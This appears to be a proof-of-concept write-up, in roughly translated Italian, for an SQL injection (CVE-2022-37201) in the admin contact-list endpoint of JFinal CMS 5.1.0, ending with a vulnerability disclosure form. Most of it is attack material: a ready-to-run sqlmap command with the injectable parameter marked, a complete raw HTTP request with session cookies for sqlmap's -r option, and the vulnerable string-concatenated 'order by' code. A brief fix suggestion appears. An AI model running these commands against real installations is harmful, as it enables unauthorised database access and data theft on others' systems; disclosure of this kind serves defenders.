
CVE-2022-37201 POC
CVE-2022-37201 POC
Prima di tutto devi installare sqlmap
devi impostare
quindi esegui lo shell
sqlmap -u http://targetDomainOrIP/jfinal_cms/jfinal_cms/admin/contact/list --thread 8 --batch --smart --random-agent --data "
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10" --cookie " your cookie " --current-db
image-20220730053527316
A volte devi sapere che /jfinal_cms/ non è necessario, devi valutare la rotta
puoi vedere il codice dell'interfaccia /system/menu/list
sql.append(" order by ").append(orderBy);
C'è un'istruzione SQL direttamente concatenata
inoltre
Non esiste alcuna misura per prevenire l'SQL injection perché qui è richiesta l'SQL injection
Analizzando questo punto funzionale, ho scoperto che l'iniezione di orderby è fissa, ad esempio id, name, menu key, quindi puoi provare a utilizzare una query parametrizzata o creare una whitelist
il mio test
POST /jfinal_cms/admin/contact/list HTTP/1.1
Host: 172.30.48.1
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.48.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.30.48.1/jfinal_cms/admin/contact/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BF13B42EDFC3DEC180959D6DF143BD18; Hm_lvt_1040d081eea13b44d84a4af639640d51=1659122360; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
Connection: close
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10
eseguilo in sqlmap!!! usa -r
[Descrizione suggerita] JFinal CMS 5.1.0 è vulnerabile a SQL Injection.
[Informazioni aggiuntive] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[Tipo di vulnerabilità] SQL Injection
[Vendor del prodotto] il gruppo di sviluppo
[Codice base del prodotto interessato] https://github.com/jflyfox/jfinal_cms - JFinal CMS 5.1.0
[Componente interessato] Queste interfacce non utilizzano lo stesso componente, né hanno filtri, ma ciascuna utilizza il proprio metodo di concatenamento SQL, causando SQL injection
[Tipo di attacco] Remoto
[Esecuzione di codice d'impatto] true
[Divulgazione di informazioni d'impatto] true
[Vettori di attacco] È richiesto l'accesso dell'utente
[Riferimento] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md
[Scopritore] jw5t